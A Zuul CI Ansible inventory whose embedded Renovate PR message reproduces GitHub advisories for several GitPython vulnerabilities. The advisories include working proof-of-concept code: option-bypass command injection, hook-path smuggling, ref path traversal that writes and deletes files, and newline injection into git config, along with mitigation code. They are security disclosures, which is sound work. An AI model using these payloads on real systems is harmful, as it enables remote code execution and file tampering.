all:
  children:
    zuul_unreachable:
      hosts: {}
  hosts:
    debian-bookworm:
      ansible_connection: ssh
      ansible_host: 2a13:1a81:8000:3124:f816:3eff:fe1d:788b
      ansible_port: 22
      ansible_python_interpreter: auto
      ansible_user: zuul
      nodepool:
        az: nova
        cloud: regiocloud-a-ci
        external_id: b6541296-a2dc-4195-b988-c726e2edfff0
        host_id: 82101243836454d7401d5893feae9e2c5df7cc291646d8a99b33b53b
        interface_ip: 2a13:1a81:8000:3124:f816:3eff:fe1d:788b
        label: debian-bookworm
        node_properties: {}
        private_ipv4: 10.128.7.131
        private_ipv6: null
        provider: regiocloud-a
        public_ipv4: 81.163.193.235
        public_ipv6: 2a13:1a81:8000:3124:f816:3eff:fe1d:788b
        region: null
        slot: null
  vars:
    zuul:
      _inheritance_path:
      - '<Job base explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: osism/zuul-config/zuul.d/jobs.yaml@main#2>'
      - '<Job yamllint explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: osism/zuul-jobs/.zuul.yaml@main#59>'
      - '<Job yamllint explicit: None implied: None source: osism/pulpfiction/.zuul.yaml@main#7>'
      ansible_version: '9'
      attempts: 1
      branch: main
      build: 1ebe95edb63748ba9064eaeade5964f7
      build_refs:
      - branch: main
        change: '10'
        change_message: "Update dependency GitPython to v3.1.57 [SECURITY]\n\n> \u2139\uFE0F
          **Note**\n> \n> This PR body was truncated due to platform limits.\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [GitPython](https://redirect.github.com/gitpython-developers/GitPython)
          | `==3.1.44` \u2192 `==3.1.57` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.57?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.44/3.1.57?slim=true)
          |\n\n---\n\n### GitPython has Command Injection via Git options bypass\n[CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215)
          / [GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython blocks dangerous
          Git options such as `--upload-pack` and `--receive-pack` by default, but
          the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that
          check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`,
          `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary
          command execution even when `allow_unsafe_options` is left at its default
          value of `False`.\n\n##### Details\nGitPython explicitly treats helper-command
          options as unsafe because they can be used to execute arbitrary commands:\n\n-
          `git/repo/base.py:145-153` marks clone options such as `--upload-pack`,
          `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push
          options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe
          vulnerable API paths check the raw kwarg names before they're its normalized
          into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())`
          in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())`
          in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())`
          in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())`
          in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()`
          in `git/cmd.py:948-961`. The validator correctly blocks option names such
          as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts
          Python kwargs into Git command-line flags in `Git.transform_kwarg()` at
          `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n-
          `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes
          `--receive-pack=...`\n\nBecause the unsafe-option check runs before this
          normalization, underscore-form kwargs bypass the safety check even though
          they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn
          practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with
          `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and
          reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin,
          out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis
          does not appear to affect every unsafe option. For example, `exec=` is already
          rejected because the raw kwarg name `exec` matches the blocked option name
          before normalization.\n\nExisting tests cover the hyphenated form, not the
          vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136`
          checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks
          `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\":
          ...}`\n\nThose tests correctly confirm the literal Git option names are
          blocked, but they do not exercise the normal Python kwarg spelling that
          bypasses the guard.\n\n##### PoC\n1. Create and activate a virtual environment
          in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip
          install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make
          a new python file and put the following in there, then run it:\n\n```python\nimport
          os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom
          git.exc import UnsafeOptionError\n\n##### Setup: create isolated repositories
          so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin
          = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim
          = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper
          = os.path.join(base, \"wrapper.sh\")\n\n##### Setup: this wrapper is just
          to demo things you can do, not required for the exploit to work\n\n#####
          you could also do something like an SSH reverse shell, really anything\nwith
          open(wrapper, \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n
          \ echo \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n
          \ printf 'argv='; printf '<%s>' \"$@\"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)='
          | sed 's/=.*$/=<redacted>/' || true\n}} > '{proof}'\nexec git-upload-pack
          \"$@\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\",
          \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\",
          \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith
          open(os.path.join(producer, \"README\"), \"w\") as f:\n    f.write(\"x\")\n\nsubprocess.run([\"git\",
          \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n
          \   [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\",
          \"commit\", \"-m\", \"init\"],\n    check=True,\n    stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\",
          \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL,
          stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin,
          victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo
          = Repo(victim)\nremote = repo.remote(\"origin\")\n\n##### the literal Git
          option name is properly blocked.\ntry:\n    remote.fetch(**{\"upload-pack\":
          wrapper})\n    print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n
          \   print(\"control=blocked\")\n\n##### this is the actual vulnerability\n\n#####
          you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just
          to show greater impact\n##### if you do the \"touch /tmp/proof\" the script
          will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n#####
          Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\",
          os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected
          result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists
          True ...`\n- The proof file contains evidence that the attacker-controlled
          helper executed as the local application account, including `id`, working
          directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython
          % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes)
          gid=20(staff) <redacted>\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin
          \ <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>\nargv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>\nUSER=<redacted>\nSSH_AUTH_SOCK=<redacted>\nPATH=<redacted>\nHOME=<redacted>\n```\n\nThis
          PoC does not require a malicious repository. The PoC uses that fresh blank
          repository. The only attacker-controlled input is the kwarg that GitPython
          turns into `--upload-pack`.\n\n##### Impact\nWho is impacted:\n- Web applications
          that let users configure repository import, sync, mirroring, fetch, pull,
          or push behavior\n- Systems that accept a user-provided dict of \"extra
          Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems,
          workers, automation bots, or internal tools that build GitPython calls from
          untrusted integration settings or job definitions (yaml, json, etc configs
          )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack`
          or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`,
          `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this
          could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud
          credentials available to the process\n- Modification of repositories, build
          outputs, or release artifacts\n- Lateral movement from CI/CD workers or
          automation hosts\n- Full compromise of the worker or service process handling
          repository operations\n\nThe highest-risk environments are network-reachable
          services and automation systems that expose these GitPython kwargs across
          a trust boundary while relying on the default unsafe-option guard for protection.\n\n####
          Severity\n- CVSS Score: 8.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47)\n-
          [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Unsafe option check validates multi_options before shlex.split
          transformation\n[CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284)
          / [GHSA-x2qx-6953-8485](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\n`_clone()` validates
          `multi_options` as the original list, then executes `shlex.split(\" \".join(multi_options))`.
          A string like `\"--branch main --config core.hooksPath=/x\"` passes validation
          (starts with `--branch`), but after split becomes `[\"--branch\", \"main\",
          \"--config\", \"core.hooksPath=/x\"]`. Git applies the config and executes
          attacker hooks during clone.\n\n##### Details\n\nThe vulnerable code is
          in [`git/repo/base.py` line 1383](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):\n```python\nmulti
          = shlex.split(\" \".join(multi_options))\n```\n\nThen validation runs on
          the **original** list at [line 1390](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):\n```python\nGit.check_unsafe_options(options=multi_options,
          unsafe_options=cls.unsafe_git_clone_options)\n```\n\nThen execution uses
          the **transformed** result at [line 1392](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):\n```python\nproc
          = git.clone(multi, \"--\", url, path, ...)\n```\n\nThe [check at `git/cmd.py`
          line 959](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959)
          uses `startswith`:\n```python\nif option.startswith(unsafe_option) or option
          == bare_option:\n```\n\n`\"--branch main --config ...\"` does not start
          with `\"--config\"`, so it passes. After `shlex.split`, `\"--config\"` becomes
          its own token and reaches git.\n\nAlso affects `Submodule.update()` via
          `clone_multi_options`.\n\n##### PoC\n\n```python\nimport sys, pathlib, subprocess\nsys.path.insert(0,
          str(pathlib.Path(__file__).resolve().parent))\n\nfrom git import Repo\nfrom
          git.exc import UnsafeOptionError\n\ntry:\n    Repo.clone_from(\"/nonexistent\",
          \"/tmp/x\", multi_options=[\"--config\", \"core.hooksPath=/x\"])\nexcept
          UnsafeOptionError:\n    print(\"multi_options=['--config', '...']: Block
          as expected\")\nexcept Exception:\n    pass\n\nDIR = pathlib.Path(__file__).resolve().parent
          / \"workdir_b\"\nSRC = DIR / \"repo\"\nDST = DIR / \"dst\"\nHOOKS = DIR
          / \"hooks\"\nLOG = DIR / \"output.log\"\n\nif not SRC.exists():\n    SRC.mkdir(parents=True)\n
          \   r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)\n    r(\"git\",
          \"init\", \"-b\", \"main\")\n    (SRC / \"f\").write_text(\"x\\n\")\n    r(\"git\",
          \"add\", \".\")\n    r(\"git\", \"commit\", \"-m\", \"init\")\n\nHOOKS.mkdir(exist_ok=True)\nhook
          = HOOKS / \"post-checkout\"\nhook.write_text(f\"#!/bin/sh\\nwhoami > {LOG.as_posix()}\\nhostname
          >> {LOG.as_posix()}\\n\")\nhook.chmod(0o755)\n\nLOG.unlink(missing_ok=True)\npayload
          = \"--branch main --config core.hooksPath=\" + HOOKS.as_posix()\n\ntry:\n
          \   Repo.clone_from(str(SRC), str(DST), multi_options=[payload])\nexcept
          UnsafeOptionError:\n    print(f\"multi_options=['{payload}']: BLOCKED\");
          sys.exit(1)\nexcept Exception:\n    pass\n\nif not LOG.exists() and DST.exists():\n
          \   subprocess.run([\"git\", \"checkout\", \"--force\", \"main\"], cwd=DST,
          capture_output=True)\n\nprint(f\"multi_options=['{payload}']: not blocked\")\nprint(f\"\\nHook
          executed: {LOG.exists()}\")\nif LOG.exists():\n    print(LOG.read_text().strip())\n```\n\n**Output:**\n```\nmulti_options=['--config',
          '...']: Block as expected\nmulti_options=['--branch main --config core.hooksPath=.../hooks']:
          not blocked\n\nHook executed: True\ntexugo\nDESKTOP-5w5HH79\n```\n\n#####
          Impact\n\nAny application passing user input to `multi_options` in `clone_from()`,
          `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config
          core.hooksPath=<dir>` inside a string starting with a safe option. Check
          does not block it. Git executes attacker code. Same class as CVE-2023-40267.\n\n####
          Severity\n- CVSS Score: 8.1 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47)\n-
          [https://www.tenable.com/cve/CVE-2026-32686](https://www.tenable.com/cve/CVE-2026-32686)\n-
          [https://github.com/advisories/GHSA-x2qx-6953-8485](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython reference APIs has a path traversal vulnerability that allows
          arbitrary file write and delete outside the repository\n[CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243)
          / [GHSA-7545-fcxq-7j24](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### \U0001F9FE Summary\n\nA vulnerability
          in **GitPython** allows **attackers who can supply a crafted reference path
          to an application using GitPython** to **write, overwrite, move, or delete
          files outside the repository\u2019s `.git` directory** via **insufficient
          validation of reference paths in reference creation, rename, and delete
          operations**.\n\n---\n\n##### \U0001F4E6 Affected Versions\n\n* Affected:
          `<= 3.1.46` and current `main` (`3.1.47` in local checkout)\n\n---\n\n#####
          \U0001F9E0 Details\n\n##### Vulnerability Type\n\n**Path Traversal leading
          to Arbitrary File Write and Arbitrary File Deletion**\n\n---\n\n##### Root
          Cause\n\nReference paths are validated when they are resolved for reading,
          but are not consistently validated before filesystem write, rename, and
          delete operations.\n\n`SymbolicReference._check_ref_name_valid()` rejects
          traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`,
          `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete`
          still construct filesystem paths from attacker-controlled ref names without
          enforcing repository boundaries.\n\n---\n\n##### Affected Code\n\n```python\ndef
          set_reference(self, ref, logmsg=None):\n    ...\n    fpath = self.abspath\n
          \   assure_directory_exists(fpath, is_file=True)\n\n    lfd = LockedFD(fpath)\n
          \   fd = lfd.open(write=True, stream=True)\n    ...\n```\n\n```python\n@classmethod\ndef
          delete(cls, repo, path):\n    full_ref_path = cls.to_full_path(path)\n    abs_path
          = os.path.join(repo.common_dir, full_ref_path)\n    if os.path.exists(abs_path):\n
          \       os.remove(abs_path)\n```\n\n```python\ndef rename(self, new_path,
          force=False):\n    new_path = self.to_full_path(new_path)\n    new_abs_path
          = os.path.join(_git_dir(self.repo, new_path), new_path)\n    cur_abs_path
          = os.path.join(_git_dir(self.repo, self.path), self.path)\n    ...\n    os.rename(cur_abs_path,
          new_abs_path)\n```\n\n---\n\n##### Attack Vector\n\n**Local attack through
          application-controlled input passed into GitPython reference APIs**\n\n#####
          Authentication Required\n\n**None at the library boundary. In practice,
          exploitation requires the ability to influence ref names supplied by the
          consuming application.**\n\n---\n\n##### \U0001F9EA Proof of Concept\n\n#####
          Setup\n\n```bash\npip install GitPython==3.1.46\npython poc.py\n```\n\n---\n\n#####
          Exploit\n\n```python\nimport shutil\nfrom pathlib import Path\n\nfrom git
          import Repo\nfrom git.refs.reference import Reference\nfrom git.refs.symbolic
          import SymbolicReference\n\nbase = Path(\"gp-ghsa-poc\").resolve()\nif base.exists():\n
          \   shutil.rmtree(base)\n\nrepo_dir = base / \"repo\"\nrepo = Repo.init(repo_dir)\n\n(repo_dir
          / \"a.txt\").write_text(\"init\\n\", encoding=\"utf-8\")\nrepo.index.add([\"a.txt\"])\nrepo.index.commit(\"init\")\n\noutside_write
          = base / \"outside_write.txt\"\noutside_delete = base / \"outside_delete.txt\"\noutside_delete.write_text(\"DELETE
          ME\\n\", encoding=\"utf-8\")\n\nprint(f\"repo_dir       = {repo_dir}\")\nprint(f\"outside_write
          \ = {outside_write}\")\nprint(f\"outside_delete = {outside_delete}\")\n\nReference.create(repo,
          \"../../../outside_write.txt\", \"HEAD\")\n\nprint(\"\\n[+] outside_write
          exists:\", outside_write.exists())\nif outside_write.exists():\n    print(\"[+]
          outside_write content:\")\n    print(outside_write.read_text(encoding=\"utf-8\"))\n\nSymbolicReference.delete(repo,
          \"../../../outside_delete.txt\")\n\nprint(\"\\n[+] outside_delete exists
          after delete:\", outside_delete.exists())\n```\n\n---\n\n##### Result\n\n```text\nrepo_dir
          \      = ...\\gp-ghsa-poc\\repo\noutside_write  = ...\\gp-ghsa-poc\\outside_write.txt\noutside_delete
          = ...\\gp-ghsa-poc\\outside_delete.txt\n\n[+] outside_write exists: True\n[+]
          outside_write content:\n<current HEAD commit SHA>\n\n[+] outside_delete
          exists after delete: False\n```\n\n---\n\n##### \U0001F4A5 Impact\n\n#####
          What can an attacker do?\n\n* Create or overwrite files outside the repository
          metadata directory\n* Delete attacker-chosen files reachable from the process
          permissions\n* Corrupt application state or configuration files\n* Cause
          denial of service by deleting or overwriting important files\n\n---\n\n#####
          Security Impact\n\n* **Confidentiality:** Low\n* **Integrity:** High\n*
          **Availability:** High\n\n---\n\n##### Who is affected?\n\n* Applications
          that expose GitPython reference operations to user-controlled input\n* Git
          automation services, repository management backends, CI/CD helpers, and
          developer platforms\n* Multi-user environments where one user can influence
          ref names processed on behalf of another workflow\n\n---\n\n##### \U0001F6E0\uFE0F
          Mitigation / Fix\n\n##### Recommended Fix\n\n```python\ndef _validate_ref_write_path(repo,
          path, *, for_git_dir=False):\n    SymbolicReference._check_ref_name_valid(path)\n\n
          \   base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()\n
          \   target = (base / path).resolve()\n\n    if base not in [target, *target.parents]:\n
          \       raise ValueError(f\"Reference path escapes repository boundary:
          {path}\")\n\n    return str(target)\n```\n\n```python\nfull_ref_path = cls.to_full_path(path)\n_validate_ref_write_path(repo,
          full_ref_path)\n```\n\n#### Severity\n- CVSS Score: 7.8 / 10 (High)\n- Vector
          String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.48)\n-
          [https://github.com/advisories/GHSA-7545-fcxq-7j24](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Newline injection in config_writer().set_value() enables RCE
          via core.hooksPath\n[CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244)
          / [GHSA-v87r-6q3f-2j67](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n`GitConfigParser.set_value()` passes
          values to Python's `configparser` without validating for newlines. GitPython's
          own `_write()` converts embedded newlines into indented continuation lines
          (e.g. `\\n` becomes `\\n\\t`), but Git still accepts an indented `[core]`
          stanza as a section header \u2014 so the injected `core.hooksPath` becomes
          effective configuration. Any Git operation that invokes hooks (commit, merge,
          checkout) will then execute scripts from the attacker-controlled path.\n\nThe
          vulnerability is not merely malformed config output: GitPython's own writer
          converts embedded newlines into indented continuation lines, but Git still
          accepts an indented `[core]` stanza as a section header, so the injected
          `core.hooksPath` becomes effective configuration.\n\nThis was found while
          auditing MLRun's `project.push()` method, which passes `author_name` and
          `author_email` directly to `config_writer().set_value()` with no sanitization.
          Both parameters cross a trust boundary \u2014 they are caller-supplied API
          inputs that end up in `.git/config`.\n\nPoC (standalone, no MLRun required):\n\n```python\nimport
          git, subprocess, os\n\nrepo = git.Repo(\"/tmp/testrepo\")\n\nwith repo.config_writer()
          as cw:\n    cw.set_value(\"user\", \"name\", \"foo\\n[core]\\nhooksPath=/tmp/hooks\")\n\nr
          = subprocess.run([\"git\", \"config\", \"core.hooksPath\"], cwd=\"/tmp/testrepo\",
          capture_output=True, text=True)\nassert r.returncode == 0\nprint(r.stdout.strip())
          \ # /tmp/hooks\n\nos.makedirs(\"/tmp/hooks\", exist_ok=True)\nopen(\"/tmp/hooks/pre-commit\",
          \"w\").write(\"#!/bin/sh\\nid > /tmp/pwned\\n\")\nos.chmod(\"/tmp/hooks/pre-commit\",
          0o755)\n\nrepo.index.add([\"README\"])\nrepo.git.commit(m=\"test\")\nprint(open(\"/tmp/pwned\").read())
          \ # uid=...\n```\n\nTested on GitPython 3.1.46, git 2.39+.\n\nImpact: This
          is persistent repo config poisoning. Any user who can supply `author_name`
          or `author_email` to an application calling `config_writer().set_value()`
          can redirect Git hook execution to an arbitrary path. In a multi-user or
          hosted environment (e.g. a shared MLRun server where multiple users push
          to the same repositories), one user can poison the `.git/config` of a shared
          repo and have their hooks run in the context of every subsequent Git operation
          by any user. On single-user deployments, the impact depends on whether the
          application later invokes Git hooks automatically.\n\nRemediation: `set_value()`
          should raise on CR, LF, or NUL in values rather than silently pass them
          through:\n\n```python\nimport re\n\nif isinstance(value, (str, bytes)) and
          re.search(r\"[\\r\\n\\x00]\", str(value)):\n    raise ValueError(\"Git config
          values must not contain CR, LF, or NUL\")\n```\n\nRejecting is safer than
          stripping \u2014 a stripped newline might indicate the caller is passing
          unsanitized input at a higher level, and silent normalization masks that.\n\nAffected
          wherever `config_writer().set_value(section, key, user_input)` is called
          with external input.** GitPython is a dependency of DVC, MLflow, Kedro,
          and others \u2014 worth auditing their `set_value()` call sites for externally
          influenced inputs.\n\n#### Severity\n- CVSS Score: 7.8 / 10 (High)\n- Vector
          String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n#### References\n-
          [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.49)\n-
          [https://github.com/advisories/GHSA-v87r-6q3f-2j67](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Newline injection in config_writer() section parameter bypasses
          CVE-2026-42215 patch, enabling RCE via core.hooksPath\n[GHSA-mv93-w799-cj2w](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\nSummary\n\nThe patch for CVE-2026-42215
          (GitPython 3.1.49) validates newlines only in the value parameter of set_value().
          The section and option parameters are passed to configparser without any
          newline validation. An attacker who controls the section argument can inject
          \\n to write arbitrary section headers into .git/config, including a forged
          [core] section with hooksPath pointing to an attacker-controlled directory,
          leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py
          \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n  def set_value(self,
          section: str, option: str, value) -> \"GitConfigParser\":\n      value_str
          = self._value_to_string_safe(value)   # only value is validated\n      if
          not self.has_section(section):\n          self.add_section(section)                    #
          section not validated\n      super().set(section, option, value_str)          #
          option not validated\n      return self\n```\n\n_write() formats section
          headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes
          [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n
          \ import git, os, subprocess\n\n  repo = git.Repo.init(\"/tmp/bypass_test\")\n\n
          \ os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n  with open(\"/tmp/evil_hooks/pre-commit\",
          \"w\") as f:\n      f.write(\"#!/bin/sh\\nid > /tmp/rce_proof.txt\\n\")\n
          \ os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n  # Inject newline
          into section parameter (not value \u2014 already patched)\n  with repo.config_writer()
          as cw:\n      cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n
          \ r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\",
          \"core.hooksPath\"],\n                     capture_output=True, text=True)\n
          \ print(r.stdout.strip())  # \u2192 /tmp/evil_hooks\n\n  subprocess.run([\"git\",
          \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n
          \ print(open(\"/tmp/rce_proof.txt\").read())  # \u2192 uid=1000(...) RCE
          confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via
          core.hooksPath injection). The patch is incomplete \u2014 only value is
          validated while section and option remain injectable.\n\n#### Severity\n-
          CVSS Score: 7.0 / 10 (High)\n- Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w)\n-
          [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n-
          [https://github.com/advisories/GHSA-mv93-w799-cj2w](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)\n\nThis
